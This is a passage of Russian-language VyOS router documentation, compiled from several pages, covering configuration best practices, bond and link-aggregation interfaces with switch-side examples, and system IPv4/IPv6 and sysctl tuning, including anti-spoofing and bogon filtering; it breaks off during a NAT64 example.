При каждом commit конфигурация будет автоматически скопирована на удаленный сервер.

## Лучшие практики

### 1. Всегда используйте commit-confirm для удаленных изменений

```
vyos@vyos# commit-confirm 10
```

Это защитит от потери доступа при ошибочной конфигурации.

### 2. Делайте резервные копии перед значительными изменениями

```
vyos@vyos# save /tmp/backup-$(date +%Y%m%d-%H%M%S).boot
```

### 3. Используйте compare перед commit

```
vyos@vyos# compare
```

Всегда проверяйте изменения перед их применением.

### 4. Документируйте конфигурацию комментариями

```
vyos@vyos# comment interfaces ethernet eth0 "Connected to core switch port 1/0/24"
```

### 5. Используйте осмысленные имена для правил и групп

Вместо:
```
set firewall ipv4 name RULE1 rule 10
```

Используйте:
```
set firewall ipv4 name WAN_LOCAL rule 10
```

### 6. Группируйте связанные изменения

Вносите связанные изменения вместе и делайте commit как одну логическую единицу.

### 7. Регулярно сохраняйте конфигурацию

После каждого успешного commit:
```
vyos@vyos# save
```

### 8. Поддерживайте версионность

Используйте систему контроля версий (Git) для хранения конфигурационных файлов:

```bash
cd /config
git init
git add config.boot
git commit -m "Initial configuration"
```

## Автоматизация конфигурации

### Через API

VyOS 1.5.x предоставляет REST API для автоматизации:

```bash
curl -X POST https://vyos-router/configure \
  -H "Content-Type: application/json" \
  -d '{
    "op": "set",
    "path": ["interfaces", "ethernet", "eth0", "address"],
    "value": "192.168.1.1/24"
  }'
```

### Через Ansible

Использование Ansible модуля:

```yaml
- name: Configure VyOS interface
  vyos_config:
    lines:
      - set interfaces ethernet eth0 address 192.168.1.1/24
      - set interfaces ethernet eth0 description 'LAN Interface'
```

### Через скрипты

Создание startup скриптов в `/config/scripts/`:

```bash
#!/bin/vbash
source /opt/vyatta/etc/functions/script-template
configure
set interfaces ethernet eth0 description 'Auto-configured by script'
commit
save
```

## Устранение неполадок

### Конфигурация не применяется

Проверьте ошибки при commit:
```
vyos@vyos# commit
```

Просмотрите подробные логи:
```
vyos@vyos:~$ show log | grep commit
```

### Потеря доступа после изменений

Если используете удаленное подключение, всегда используйте `commit-confirm`:
```
vyos@vyos# commit-confirm 5
```

### Откат к рабочей конфигурации

Если система не загружается после изменений, загрузитесь с предыдущего образа через GRUB или используйте:

```
vyos@vyos:~$ configure
vyos@vyos# rollback
vyos@vyos# commit
vyos@vyos# save
```

## Следующие шаги

Теперь, когда вы понимаете структуру конфигурации VyOS, переходите к:

- [Конфигурация](/docs/vyos/) - детальные руководства по настройке компонентов
- [Руководство администратора](/docs/vyos/admin-guide/) - операционные команды и автоматизация
- [Устранение неполадок](/docs/vyos/admin-guide/vyos-troubleshooting/) - диагностика проблем


---

# Bond интерфейсы (Link Aggregation) в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-bond/



Bond (bonding) объединяет несколько физических сетевых интерфейсов в один логический интерфейс для увеличения пропускной способности и обеспечения отказоустойчивости.

## Обзор

Bond обеспечивает:
- **Увеличение пропускной способности** - агрегация каналов
- **Отказоустойчивость** - автоматический failover
- **Балансировка нагрузки** - распределение трафика
- **Redundancy** - резервирование каналов

**Также известен как**:
- Link Aggregation
- Port Channel
- EtherChannel (Cisco)
- LAG (Link Aggregation Group)
- NIC Teaming

## Режимы Bonding

### 802.3ad (LACP)

**IEEE 802.3ad Dynamic Link Aggregation** - стандартный протокол агрегации.

```
set interfaces bonding bond0 mode '802.3ad'
commit
```

**Характеристики**:
- Требует поддержки LACP на коммутаторе
- Автоматическое обнаружение и конфигурация
- Балансировка нагрузки
- Failover при отказе канала
- Использует все активные каналы

**Когда использовать**:
- Современные управляемые коммутаторы
- Нужна стандартная агрегация
- Требуется динамическая конфигурация

### active-backup

Активен только один интерфейс, остальные в резерве.

```
set interfaces bonding bond0 mode 'active-backup'
commit
```

**Характеристики**:
- Простейший режим
- Не требует поддержки от коммутатора
- Только failover (без балансировки)
- Быстрое переключение при отказе

**Когда использовать**:
- Коммутатор не поддерживает агрегацию
- Нужна только отказоустойчивость
- Простая конфигурация

### balance-rr (Round-Robin)

Последовательная передача пакетов через все интерфейсы.

```
set interfaces bonding bond0 mode 'balance-rr'
commit
```

**Характеристики**:
- Балансировка нагрузки
- Failover
- Может вызывать переупорядочивание пакетов
- Не требует поддержки от коммутатора

**Когда использовать**:
- Локальное соединение (без коммутатора)
- Тестирование

### balance-xor

Балансировка на основе хеша (MAC, IP).

```
set interfaces bonding bond0 mode 'balance-xor'
set interfaces bonding bond0 hash-policy 'layer2+3'
commit
```

**Характеристики**:
- Балансировка по хешу
- Failover
- Предсказуемое распределение
- Не требует LACP

**Когда использовать**:
- Коммутатор без LACP
- Нужна балансировка без протокола

### broadcast

Передача на все интерфейсы одновременно.

```
set interfaces bonding bond0 mode 'broadcast'
commit
```

**Характеристики**:
- Дублирование трафика
- Максимальная отказоустойчивость
- Нет увеличения пропускной способности
- Потребляет больше ресурсов

**Когда использовать**:
- Критичные системы
- Специфичные требования

### balance-tlb (Transmit Load Balance)

Балансировка исходящего трафика без протокола.

```
set interfaces bonding bond0 mode 'balance-tlb'
commit
```

**Характеристики**:
- Балансировка TX
- Failover
- Не требует поддержки от коммутатора
- RX на одном интерфейсе

**Когда использовать**:
- Больше исходящего трафика
- Коммутатор без агрегации

### balance-alb (Adaptive Load Balance)

Балансировка входящего и исходящего трафика.

```
set interfaces bonding bond0 mode 'balance-alb'
commit
```

**Характеристики**:
- Балансировка TX и RX
- Использует ARP negotiation
- Не требует поддержки от коммутатора
- Только для IPv4

**Когда использовать**:
- Двусторонняя балансировка
- Коммутатор без LACP
- Только IPv4 трафик

## Базовая конфигурация

### Создание bond интерфейса

```
set interfaces bonding bond0 mode '802.3ad'
set interfaces bonding bond0 member interface eth1
set interfaces bonding bond0 member interface eth2
commit
```

### IP-адресация

```
set interfaces bonding bond0 address 192.168.1.1/24
set interfaces bonding bond0 address 2001:db8::1/64
commit
```

### Описание

```
set interfaces bonding bond0 description 'Bonded uplink to core switch'
commit
```

## Параметры конфигурации

### Member Interfaces

Добавление физических интерфейсов:

```
set interfaces bonding bond0 member interface eth0
set interfaces bonding bond0 member interface eth1
set interfaces bonding bond0 member interface eth2
commit
```

Все member интерфейсы должны иметь одинаковые параметры (speed, duplex).

### Hash Policy

Алгоритм распределения трафика (для 802.3ad, balance-xor):

```
set interfaces bonding bond0 hash-policy 'layer2+3'
commit
```

Опции:
- **layer2** - использует MAC адреса (по умолчанию)
- **layer2+3** - использует MAC + IP адреса
- **layer3+4** - использует IP + порты (TCP/UDP)

Рекомендация: `layer2+3` или `layer3+4` для лучшей балансировки.

### LACP Rate

Частота LACP пакетов (только для 802.3ad):

```
set interfaces bonding bond0 lacp-rate 'fast'
commit
```

Значения:
- **slow** - LACP каждые 30 секунд (по умолчанию)
- **fast** - LACP каждую секунду (быстрое обнаружение отказов)

Рекомендация: `fast` для критичных систем.

### Minimum Links

Минимальное количество активных каналов:

```
set interfaces bonding bond0 min-links 1
commit
```

Bond будет UP только если активно минимум указанное количество member интерфейсов.

### Primary Interface

Предпочтительный интерфейс (для active-backup):

```
set interfaces bonding bond0 mode 'active-backup'
set interfaces bonding bond0 primary eth0
commit
```

### ARP Monitoring

Мониторинг доступности через ARP:

```
set interfaces bonding bond0 arp-monitor interval 100
set interfaces bonding bond0 arp-monitor target 192.168.1.254
commit
```

Параметры:
- **interval** - интервал проверки в миллисекундах
- **target** - IP адрес для мониторинга

Альтернатива MII monitoring (по умолчанию).

### System MAC

MAC адрес bond интерфейса:

```
set interfaces bonding bond0 mac '00:50:56:00:00:01'
commit
```

По умолчанию использует MAC первого member интерфейса.

## VLAN на Bond

Bond может содержать VLAN sub-interfaces:

```
set interfaces bonding bond0 vif 10 address 192.168.10.1/24
set interfaces bonding bond0 vif 10 description 'VLAN 10 - Management'

set interfaces bonding bond0 vif 20 address 192.168.20.1/24
set interfaces bonding bond0 vif 20 description 'VLAN 20 - Data'

commit
```

## Примеры конфигурации

### Базовый 802.3ad (LACP) bond

Агрегация двух портов с LACP:

```
set interfaces bonding bond0 mode '802.3ad'
set interfaces bonding bond0 hash-policy 'layer2+3'
set interfaces bonding bond0 lacp-rate 'fast'
set interfaces bonding bond0 member interface eth0
set interfaces bonding bond0 member interface eth1
set interfaces bonding bond0 address 10.0.0.1/24
set interfaces bonding bond0 description 'Uplink to core switch'
commit
```

### Active-backup для отказоустойчивости

```
set interfaces bonding bond0 mode 'active-backup'
set interfaces bonding bond0 primary eth0
set interfaces bonding bond0 member interface eth0
set interfaces bonding bond0 member interface eth1
set interfaces bonding bond0 address 192.168.1.1/24
commit
```

### Bond с 4 интерфейсами

```
set interfaces bonding bond0 mode '802.3ad'
set interfaces bonding bond0 hash-policy 'layer3+4'
set interfaces bonding bond0 lacp-rate 'fast'
set interfaces bonding bond0 member interface eth0
set interfaces bonding bond0 member interface eth1
set interfaces bonding bond0 member interface eth2
set interfaces bonding bond0 member interface eth3
set interfaces bonding bond0 min-links 2
set interfaces bonding bond0 address 10.0.0.1/24
commit
```

### Bond с VLANs

```
# Bond интерфейс
set interfaces bonding bond0 mode '802.3ad'
set interfaces bonding bond0 hash-policy 'layer2+3'
set interfaces bonding bond0 member interface eth0
set interfaces bonding bond0 member interface eth1

# VLANs на bond
set interfaces bonding bond0 vif 100 address 192.168.100.1/24
set interfaces bonding bond0 vif 100 description 'VLAN 100 - Servers'

set interfaces bonding bond0 vif 200 address 192.168.200.1/24
set interfaces bonding bond0 vif 200 description 'VLAN 200 - Workstations'

commit
```

### Bond в Bridge

Bond как member bridge для виртуализации:

```
# Bond
set interfaces bonding bond0 mode '802.3ad'
set interfaces bonding bond0 member interface eth0
set interfaces bonding bond0 member interface eth1

# Bridge с bond
set interfaces bridge br0 member interface bond0
set interfaces bridge br0 address 192.168.1.1/24

commit
```

### Dual uplink с ARP monitoring

```
set interfaces bonding bond0 mode 'active-backup'
set interfaces bonding bond0 primary eth0
set interfaces bonding bond0 member interface eth0
set interfaces bonding bond0 member interface eth1
set interfaces bonding bond0 arp-monitor interval 100
set interfaces bonding bond0 arp-monitor target 10.0.0.254
set interfaces bonding bond0 address 10.0.0.1/24
commit
```

## Конфигурация коммутатора

### Cisco IOS/IOS-XE

```
interface Port-channel1
 switchport mode trunk
 switchport trunk allowed vlan 10,20,30

interface GigabitEthernet1/0/1
 switchport mode trunk
 switchport trunk allowed vlan 10,20,30
 channel-group 1 mode active

interface GigabitEthernet1/0/2
 switchport mode trunk
 switchport trunk allowed vlan 10,20,30
 channel-group 1 mode active
```

### Juniper Junos

```
set interfaces ae0 aggregated-ether-options lacp active
set interfaces ae0 unit 0 family inet address 10.0.0.2/24

set interfaces ge-0/0/0 ether-options 802.3ad ae0
set interfaces ge-0/0/1 ether-options 802.3ad ae0
```

### Arista EOS

```
interface Port-Channel1
   switchport mode trunk
   switchport trunk allowed vlan 10,20,30

interface Ethernet1
   channel-group 1 mode active

interface Ethernet2
   channel-group 1 mode active
```

### HP/Aruba

```
trunk 1-2 trk1 lacp
vlan 10 tagged trk1
vlan 20 tagged trk1
```

## Операционные команды

### Просмотр bond интерфейсов

Все bond интерфейсы:
```
show interfaces bonding
```

Конкретный bond:
```
show interfaces bonding bond0
```

Детальная информация:
```
show interfaces bonding bond0 detail
```

Пример вывода:
```
bond0: <BROADCAST,MULTICAST,MASTER,UP> mtu 1500 state UP
    address: 00:0c:29:ab:cd:ef
    mode: 802.3ad
    hash-policy: layer2+3
    lacp-rate: fast
    min-links: 1

    member interfaces:
        eth0: <SLAVE,UP> speed 1000 duplex full
        eth1: <SLAVE,UP> speed 1000 duplex full
```

### LACP информация

```
show interfaces bonding bond0 lacp
```

### Статус slave интерфейсов

```
show interfaces bonding bond0 slaves
```

## Мониторинг и диагностика

### Проверка LACP negotiation

```
show interfaces bonding bond0 lacp detail
```

Проверьте:
- Actor и Partner system ID
- LACP активность
- Aggregator ID одинаковый для всех портов

### Проверка балансировки

```
show interfaces bonding bond0 statistics
```

Трафик должен распределяться между member интерфейсами.

### Тестирование failover

Отключите один member интерфейс:
```
set interfaces ethernet eth0 disable
commit
```

Проверьте bond:
```
show interfaces bonding bond0
```

Включите обратно:
```
delete interfaces ethernet eth0 disable
commit
```

## Устранение неполадок

### Bond не поднимается

Проверьте member интерфейсы:
```
show interfaces
```

Все member интерфейсы должны быть UP.

Проверьте конфигурацию:
```
show configuration interfaces bonding bond0
```

### LACP не работает

Проверьте коммутатор:
- LACP включен на портах
- Порты в одном port-channel
- LACP mode: active или passive

Проверьте LACP на VyOS:
```
show interfaces bonding bond0 lacp
```

### Нет балансировки трафика

Проверьте hash-policy:
```
show configuration interfaces bonding bond0 hash-policy
```

Попробуйте другой hash-policy:
```
set interfaces bonding bond0 hash-policy 'layer3+4'
commit
```

Убедитесь что есть разнообразие в hash (разные IP, MAC, порты).

### Частые failover

Проверьте кабели и интерфейсы:
```
show interfaces ethernet eth0 physical
```

Увеличьте LACP rate (если используется slow):
```
set interfaces bonding bond0 lacp-rate 'fast'
commit
```

### Несоответствие MTU

Установите одинаковый MTU на всех member интерфейсах и bond:
```
set interfaces bonding bond0 mtu 9000
commit
```

Member интерфейсы наследуют MTU от bond.

## Производительность

### Максимальная пропускная способность

Bond увеличивает aggregate bandwidth:
- 2x1G ports = ~2 Gbps
- 4x1G ports = ~4 Gbps
- 2x10G ports = ~20 Gbps

**Важно**: Один поток (одна TCP сессия) не превысит скорость одного member интерфейса из-за хеширования.

### Hash Policy для лучшей балансировки

- **layer2** - хорошо для разных MAC
- **layer2+3** - лучше для разных IP
- **layer3+4** - лучше всего для множества TCP/UDP соединений

### Jumbo Frames

Для высокопроизводительных сетей:
```
set interfaces bonding bond0 mtu 9000
commit
```

Все member интерфейсы и коммутатор должны поддерживать jumbo frames.

## Безопасность

### MAC Spoofing Protection

Bond использует один MAC адрес для всех member интерфейсов.

### LACP Authentication

VyOS не поддерживает LACP authentication (802.1X). Используйте физическую безопасность и port security на коммутаторе.

## Лучшие практики

1. **Используйте 802.3ad (LACP)** - стандартный и надежный
2. **Одинаковые интерфейсы** - одинаковый speed/duplex для всех members
3. **LACP fast mode** - для быстрого failover
4. **Min-links** - установите минимум активных каналов
5. **Hash-policy layer3+4** - для лучшей балансировки
6. **Мониторинг** - отслеживайте статус member интерфейсов
7. **Резервное копирование** - сохраняйте конфигурацию
8. **Тестируйте failover** - проверяйте переключение
9. **Одинаковый MTU** - на всех members
10. **Документируйте** - какие порты в каком bond

## Ограничения

- Максимум пропускная способность ограничена суммой member интерфейсов
- Одно TCP соединение не превысит скорость одного интерфейса
- LACP требует поддержки от коммутатора
- Не все режимы поддерживают балансировку RX

## Миграция с single interface на bond

1. Создайте bond с новым именем
2. Перенесите конфигурацию IP на bond
3. Добавьте member интерфейсы
4. Тестируйте
5. Удалите старую конфигурацию

## Следующие шаги

- [Bridge](/docs/vyos/interfaces/vyos-bridge/) - использование bond в bridge
- [VLAN](/docs/vyos/interfaces/vyos-vlan/) - VLANs на bond
- [High Availability](/docs/vyos/ha/) - bond для HA
- [Firewall](/docs/vyos/firewall/) - защита bond трафика


---

# IP параметры системы VyOS

Source: https://opennix.org/docs/vyos/system/vyos-ip/



Системные настройки IP и IPv6 в VyOS позволяют управлять параметрами сетевого стека, оптимизировать производительность и настраивать специфичное поведение протоколов IPv4 и IPv6 на уровне ядра операционной системы.

## Основные возможности

- **IPv4 параметры**: Управление IP forwarding, ARP, ICMP, RP filter
- **IPv6 параметры**: Настройка IPv6 forwarding, Router Advertisement, privacy extensions
- **Multipath routing**: Балансировка трафика между несколькими путями
- **ARP настройки**: Контроль разрешения адресов, ARP cache
- **TCP/IP параметры**: Оптимизация TCP для производительности
- **ICMP настройки**: Контроль ответов на ping и другие ICMP сообщения
- **Source validation**: Защита от IP spoofing через RP filter

## IPv4 Configuration

### IP Forwarding

```bash
# Включить IP forwarding (по умолчанию включено на VyOS)
set system ip disable-forwarding

# IP forwarding включен по умолчанию, эта команда ОТКЛЮЧАЕТ его
# Для роутера должен быть включен - НЕ использовать эту команду
```

**Примечание**: VyOS по умолчанию работает как роутер с включенным IP forwarding. Команда `disable-forwarding` используется только для специальных случаев (например, firewall без маршрутизации).

### ARP Settings

```bash
# Настроить ARP cache timeout (по умолчанию 30 секунд)
set system ip arp table-size 8192

# Ignore ARP requests для адресов, не настроенных локально
set system ip arp-reply-mode restricted

commit
save
```

**ARP Modes**:
- `restricted`: Отвечать только на ARP для локальных IP
- `reply-any`: Отвечать на ARP для любых IP (по умолчанию)

### Disable ICMP Redirects

```bash
# Отключить отправку ICMP redirects
set system ip disable-icmp-redirect

commit
save
```

**Применение**: Повышает безопасность, предотвращает манипуляцию маршрутизацией клиентов.

### Multipath Routing

```bash
# Включить балансировку между равноценными путями
set system ip multipath layer4-hashing

commit
save
```

**Layer4-hashing**: Использует source IP, destination IP, protocol, source port, destination port для распределения трафика. Обеспечивает сохранение порядка пакетов для одной сессии.

### IP Source Validation (RP Filter)

```bash
# Включить Reverse Path Filtering для защиты от spoofing
set system ip source-validation strict

commit
save
```

**Modes**:
- `strict`: Проверять, что входящий пакет пришел с интерфейса, куда есть маршрут к source IP (RFC 3704)
- `loose`: Проверять только наличие маршрута к source IP в таблице маршрутизации
- Отсутствует (по умолчанию): RP filter отключен

### Ignore Bogons (RFC 1918, RFC 5735)

```bash
# Отключить прием пакетов с bogon источниками на внешнем интерфейсе
# Реализуется через firewall
set firewall group network-group BOGONS network 0.0.0.0/8
set firewall group network-group BOGONS network 10.0.0.0/8
set firewall group network-group BOGONS network 100.64.0.0/10
set firewall group network-group BOGONS network 127.0.0.0/8
set firewall group network-group BOGONS network 169.254.0.0/16
set firewall group network-group BOGONS network 172.16.0.0/12
set firewall group network-group BOGONS network 192.0.0.0/24
set firewall group network-group BOGONS network 192.0.2.0/24
set firewall group network-group BOGONS network 192.168.0.0/16
set firewall group network-group BOGONS network 198.18.0.0/15
set firewall group network-group BOGONS network 198.51.100.0/24
set firewall group network-group BOGONS network 203.0.113.0/24
set firewall group network-group BOGONS network 224.0.0.0/4
set firewall group network-group BOGONS network 240.0.0.0/4

set firewall name WAN_IN rule 10 action drop
set firewall name WAN_IN rule 10 source group network-group BOGONS
set firewall name WAN_IN rule 10 description 'Drop bogon sources'

commit
save
```

## IPv6 Configuration

### IPv6 Forwarding

```bash
# Включить IPv6 forwarding (по умолчанию включено)
# Отключение (только для специальных случаев):
set system ipv6 disable-forwarding

# Для роутера IPv6 forwarding должен быть ВКЛЮЧЕН
# Не использовать эту команду на production роутерах
```

### IPv6 Neighbor Discovery

```bash
# Настроить параметры IPv6 Neighbor Discovery
# Увеличить размер neighbor cache
set system ipv6 neighbor table-size 8192

commit
save
```

### Disable IPv6

```bash
# Полностью отключить IPv6 (если не используется)
set system ipv6 disable

commit
save
```

**Применение**: Используется только если IPv6 не нужен в сети. Уменьшает поверхность атаки.

### IPv6 Multipath

```bash
# Включить балансировку между равноценными IPv6 путями
set system ipv6 multipath layer4-hashing

commit
save
```

### IPv6 Source Validation

```bash
# Включить RP filter для IPv6
set system ipv6 source-validation strict

commit
save
```

### Accept Router Advertisements

```bash
# Контроль приема Router Advertisement на интерфейсах
# По умолчанию VyOS не принимает RA (работает как роутер)

# Включить прием RA на конкретном интерфейсе (например, для dual-stack WAN)
set interfaces ethernet eth0 ipv6 address autoconf

commit
save
```

**Примечание**: Для роутера обычно RA не нужны. Используется только на WAN интерфейсе при получении IPv6 от провайдера через SLAAC.

### IPv6 Privacy Extensions (RFC 4941)

```bash
# Включить privacy extensions для генерации временных IPv6 адресов
set interfaces ethernet eth1 ipv6 privacy-extension prefer-temporary

commit
save
```

**Privacy Extension Modes**:
- `prefer-temporary`: Использовать временные адреса для исходящих соединений
- `prefer-public`: Использовать постоянные адреса (по умолчанию)

## Расширенная конфигурация

### TCP Performance Tuning

VyOS позволяет настраивать параметры TCP для оптимизации производительности:

```bash
# Настройки выполняются через sysctl
# Увеличить TCP буферы для высокоскоростных соединений
sudo sysctl -w net.ipv4.tcp_rmem="4096 87380 16777216"
sudo sysctl -w net.ipv4.tcp_wmem="4096 65536 16777216"

# Включить TCP window scaling
sudo sysctl -w net.ipv4.tcp_window_scaling=1

# Включить TCP timestamps
sudo sysctl -w net.ipv4.tcp_timestamps=1

# Включить SACK (Selective Acknowledgment)
sudo sysctl -w net.ipv4.tcp_sack=1

# Для постоянного применения добавить в /etc/sysctl.conf
```

**Создание постоянной конфигурации**:
```bash
sudo tee -a /etc/sysctl.d/99-vyos-tcp.conf > /dev/null <<'EOF'
# TCP Performance Tuning
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_timestamps = 1
net.ipv4.tcp_sack = 1
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
EOF

sudo sysctl -p /etc/sysctl.d/99-vyos-tcp.conf
```

### High-Performance Router Settings

```bash
# Увеличить размер connection tracking table
sudo sysctl -w net.netfilter.nf_conntrack_max=262144

# Увеличить hashsize для conntrack
echo 65536 | sudo tee /sys/module/nf_conntrack/parameters/hashsize

# Оптимизация ARP cache
sudo sysctl -w net.ipv4.neigh.default.gc_thresh1=1024
sudo sysctl -w net.ipv4.neigh.default.gc_thresh2=4096
sudo sysctl -w net.ipv4.neigh.default.gc_thresh3=8192

# IPv6 neighbor cache
sudo sysctl -w net.ipv6.neigh.default.gc_thresh1=1024
sudo sysctl -w net.ipv6.neigh.default.gc_thresh2=4096
sudo sysctl -w net.ipv6.neigh.default.gc_thresh3=8192

# Постоянная конфигурация
sudo tee /etc/sysctl.d/99-vyos-performance.conf > /dev/null <<'EOF'
# Connection Tracking
net.netfilter.nf_conntrack_max = 262144

# ARP Cache
net.ipv4.neigh.default.gc_thresh1 = 1024
net.ipv4.neigh.default.gc_thresh2 = 4096
net.ipv4.neigh.default.gc_thresh3 = 8192

# IPv6 Neighbor Cache
net.ipv6.neigh.default.gc_thresh1 = 1024
net.ipv6.neigh.default.gc_thresh2 = 4096
net.ipv6.neigh.default.gc_thresh3 = 8192
EOF

sudo sysctl -p /etc/sysctl.d/99-vyos-performance.conf
```

### DDoS Protection Settings

```bash
# Защита от SYN flood
sudo sysctl -w net.ipv4.tcp_syncookies=1
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=4096
sudo sysctl -w net.ipv4.tcp_synack_retries=2

# Защита от ICMP flood
sudo sysctl -w net.ipv4.icmp_ratelimit=100
sudo sysctl -w net.ipv4.icmp_ratemask=6168

# Игнорировать broadcast ping
sudo sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1

# Игнорировать bogus ICMP errors
sudo sysctl -w net.ipv4.icmp_ignore_bogus_error_responses=1

# Постоянная конфигурация
sudo tee /etc/sysctl.d/99-vyos-ddos-protection.conf > /dev/null <<'EOF'
# SYN Flood Protection
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 4096
net.ipv4.tcp_synack_retries = 2

# ICMP Flood Protection
net.ipv4.icmp_ratelimit = 100
net.ipv4.icmp_ratemask = 6168
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
EOF

sudo sysctl -p /etc/sysctl.d/99-vyos-ddos-protection.conf
```

## Примеры конфигурации

### 1. Edge Router с защитой от spoofing

**Задача**: Настроить пограничный роутер с защитой от IP spoofing и bogons.

```bash
# Включить строгую проверку источников (RP filter)
set system ip source-validation strict

# Отключить ICMP redirects
set system ip disable-icmp-redirect

# Multipath с layer4 hashing
set system ip multipath layer4-hashing

# Firewall для блокировки bogons на WAN
set firewall group network-group BOGONS network 0.0.0.0/8
set firewall group network-group BOGONS network 10.0.0.0/8
set firewall group network-group BOGONS network 127.0.0.0/8
set firewall group network-group BOGONS network 169.254.0.0/16
set firewall group network-group BOGONS network 172.16.0.0/12
set firewall group network-group BOGONS network 192.168.0.0/16
set firewall group network-group BOGONS network 224.0.0.0/4
set firewall group network-group BOGONS network 240.0.0.0/4

set firewall name WAN_IN rule 10 action drop
set firewall name WAN_IN rule 10 source group network-group BOGONS
set firewall name WAN_IN rule 10 description 'Drop bogon sources'

set firewall name WAN_LOCAL rule 10 action drop
set firewall name WAN_LOCAL rule 10 source group network-group BOGONS

set firewall interface eth0 in name WAN_IN
set firewall interface eth0 local name WAN_LOCAL

commit
save
```

**Дополнительные sysctl настройки**:
```bash
sudo tee /etc/sysctl.d/99-edge-router-security.conf > /dev/null <<'EOF'
# Reverse Path Filtering
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# Ignore ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0

# Do not send ICMP redirects
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

# Ignore source routed packets
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

# Log Martians (packets with impossible addresses)
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.log_martians = 1
EOF

sudo sysctl -p /etc/sysctl.d/99-edge-router-security.conf
```

### 2. Dual-Stack роутер с IPv6

**Задача**: Настроить роутер для одновременной работы IPv4 и IPv6.

```bash
# IPv4 настройки
set system ip multipath layer4-hashing
set system ip source-validation strict

# IPv6 настройки
set system ipv6 multipath layer4-hashing
set system ipv6 source-validation strict

# WAN интерфейс - получение IPv6 от провайдера
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 address dhcpv6
set interfaces ethernet eth0 ipv6 address autoconf

# LAN интерфейс - раздача IPv4 и IPv6
set interfaces ethernet eth1 address 192.168.1.1/24
set interfaces ethernet eth1 address 2001:db8:1::1/64

# DHCPv4 сервер
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option name-server 192.168.1.1

# Router Advertisement для IPv6
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 name-server 2001:4860:4860::8888
set service router-advert interface eth1 name-server 2001:4860:4860::8844

# DHCPv6 сервер (stateless - только опции)
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888

# NAT для IPv4
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

commit
save
```

**Проверка**:
```bash
# Проверить IPv4 connectivity
ping -c 3 8.8.8.8

# Проверить IPv6 connectivity
ping6 -c 3 2001:4860:4860::8888

# Проверить dual-stack DNS
host google.com
```

### 3. High-Performance роутер для ЦОД

**Задача**: Оптимизировать VyOS для высоконагруженной среды (10+ Gbps).

```bash
# Базовая конфигурация
set system ip multipath layer4-hashing
set system ipv6 multipath layer4-hashing

commit
save
```

**Advanced sysctl оптимизации**:
```bash
sudo tee /etc/sysctl.d/99-datacenter-performance.conf > /dev/null <<'EOF'
# TCP Performance для 10GbE+
net.core.rmem_max = 134217728
net.core.wmem_max = 134217728
net.core.rmem_default = 16777216
net.core.wmem_default = 16777216
net.ipv4.tcp_rmem = 4096 87380 67108864
net.ipv4.tcp_wmem = 4096 65536 67108864
net.ipv4.tcp_mem = 134217728 134217728 134217728

# TCP Tuning
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_timestamps = 1
net.ipv4.tcp_sack = 1
net.ipv4.tcp_no_metrics_save = 1
net.ipv4.tcp_moderate_rcvbuf = 1

# Congestion Control (BBR для низкой latency)
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr

# Connection Tracking для высокой нагрузки
net.netfilter.nf_conntrack_max = 1048576
net.netfilter.nf_conntrack_tcp_timeout_established = 7200
net.netfilter.nf_conntrack_generic_timeout = 120

# ARP/Neighbor Cache
net.ipv4.neigh.default.gc_thresh1 = 8192
net.ipv4.neigh.default.gc_thresh2 = 16384
net.ipv4.neigh.default.gc_thresh3 = 32768
net.ipv6.neigh.default.gc_thresh1 = 8192
net.ipv6.neigh.default.gc_thresh2 = 16384
net.ipv6.neigh.default.gc_thresh3 = 32768

# Receive Packet Steering (RPS) - распределение по CPU
net.core.netdev_max_backlog = 30000

# Optimize for low latency
net.ipv4.tcp_fastopen = 3
net.ipv4.tcp_slow_start_after_idle = 0
EOF

sudo sysctl -p /etc/sysctl.d/99-datacenter-performance.conf

# Настроить conntrack hashsize
echo 262144 | sudo tee /sys/module/nf_conntrack/parameters/hashsize
```

**IRQ балансировка для 10GbE NIC**:
```bash
# Установить irqbalance для автоматического распределения IRQ
sudo apt-get update
sudo apt-get install irqbalance

# Включить и запустить
sudo systemctl enable irqbalance
sudo systemctl start irqbalance
```

**Мониторинг производительности**:
```bash
# Смотреть conntrack statistics
cat /proc/net/stat/nf_conntrack

# Проверить TCP statistics
cat /proc/net/snmp | grep Tcp

# Проверить network buffer drops
netstat -s | grep -i drop

# Проверить IRQ распределение
cat /proc/interrupts
```

### 4. IPv6-only сеть с NAT64

**Задача**: Настроить IPv6-only LAN с NAT64 для доступа к IPv4 ресурсам.

```bash
# IPv6 на LAN
set interfaces ethernet eth1 address 2001:db8:1::1/64

# Router Advertisement
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 name-server 2001:db8:1::1

# DHCPv6 сервер
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64
